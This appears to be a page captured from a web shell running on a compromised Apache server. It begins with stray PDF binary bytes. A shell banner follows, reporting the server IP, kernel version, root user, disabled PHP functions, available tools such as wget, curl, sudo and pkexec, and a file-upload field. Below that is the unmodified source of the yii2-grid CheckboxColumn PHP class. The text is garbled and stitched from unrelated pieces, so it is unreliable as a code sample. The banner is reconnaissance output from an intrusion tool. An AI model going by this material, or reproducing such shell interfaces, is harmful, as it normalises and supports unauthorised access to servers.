%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/egp/vendor/kartik-v/yii2-grid/src/ |
Upload File : |
<?php /** * @package yii2-grid * @author Kartik Visweswaran <kartikv2@gmail.com> * @copyright Copyright © Kartik Visweswaran, Krajee.com, 2014 - 2020 * @version 3.3.6 */ namespace kartik\grid; use Closure; use yii\grid\CheckboxColumn as YiiCheckboxColumn; use yii\helpers\Html; use yii\helpers\Json; /** * The CheckboxColumn displays a column of checkboxes in a grid view and extends the [[YiiCheckboxColumn]] with * various enhancements. * * To add a CheckboxColumn to the gridview, add it to the [[GridView::columns|columns]] configuration as follows: * * ```php * 'columns' => [ * // ... * [ * 'class' => CheckboxColumn::className(), * // you may configure additional properties here * ], * ] * ``` * * @author Kartik Visweswaran <kartikv2@gmail.com> * @since 1.0 */ class CheckboxColumn extends YiiCheckboxColumn { use ColumnTrait; /** * @var boolean highlight current row if checkbox is checked */ public $rowHighlight = true; /** * @var string highlight CSS class to be applied for highlighting the row. Defaults to [[GridView::TYPE_DANGER]]. */ public $rowSelectedClass; /** * @var string the model attribute to be used in rendering the checkbox input. */ public $attribute; /** * @var string the css class that will be used to find the checkboxes. */ public $cssClass = 'kv-row-checkbox'; /** * @inheritdoc */ public function init() { $this->initColumnSettings([ 'hiddenFromExport' => true, 'mergeHeader' => true, 'hAlign' => GridView::ALIGN_CENTER, 'vAlign' => GridView::ALIGN_MIDDLE, 'width' => '50px' ]); if (!isset($this->rowSelectedClass)) { $this->rowSelectedClass = $this->grid->getCssClass(GridView::BS_TABLE_DANGER); } $id = $this->grid->options['id']; $view = $this->grid->getView(); CheckboxColumnAsset::register($view); if ($this->rowHighlight) { Html::addCssClass($this->headerOptions, 'kv-all-select'); $this->_clientScript = "kvSelectRow('{$id}', '{$this->rowSelectedClass}');"; $view->registerJs($this->_clientScript); } $this->parseFormat(); $this->parseVisibility(); parent::init(); $this->setPageRows(); $opts = Json::encode( [ 'name' => $this->name, 'multiple' => $this->multiple, 'checkAll' => $this->grid->showHeader ? $this->getHeaderCheckBoxName() : null, ] ); $this->_clientScript .= "\nkvSelectColumn('{$id}', {$opts});"; } /** * @inheritdoc */ public function renderDataCell($model, $key, $index) { $options = $this->fetchContentOptions($model, $key, $index); if ($this->rowHighlight) { Html::addCssClass($options, 'kv-row-select'); } $this->initPjax($this->_clientScript); if ($this->attribute !== null) { $this->name = Html::getInputName($model, "[{$index}]{$this->attribute}"); if (!$this->checkboxOptions instanceof Closure) { $this->checkboxOptions['value'] = Html::getAttributeValue($model, $this->attribute); } } return Html::tag('td', $this->renderDataCellContent($model, $key, $index), $options); } }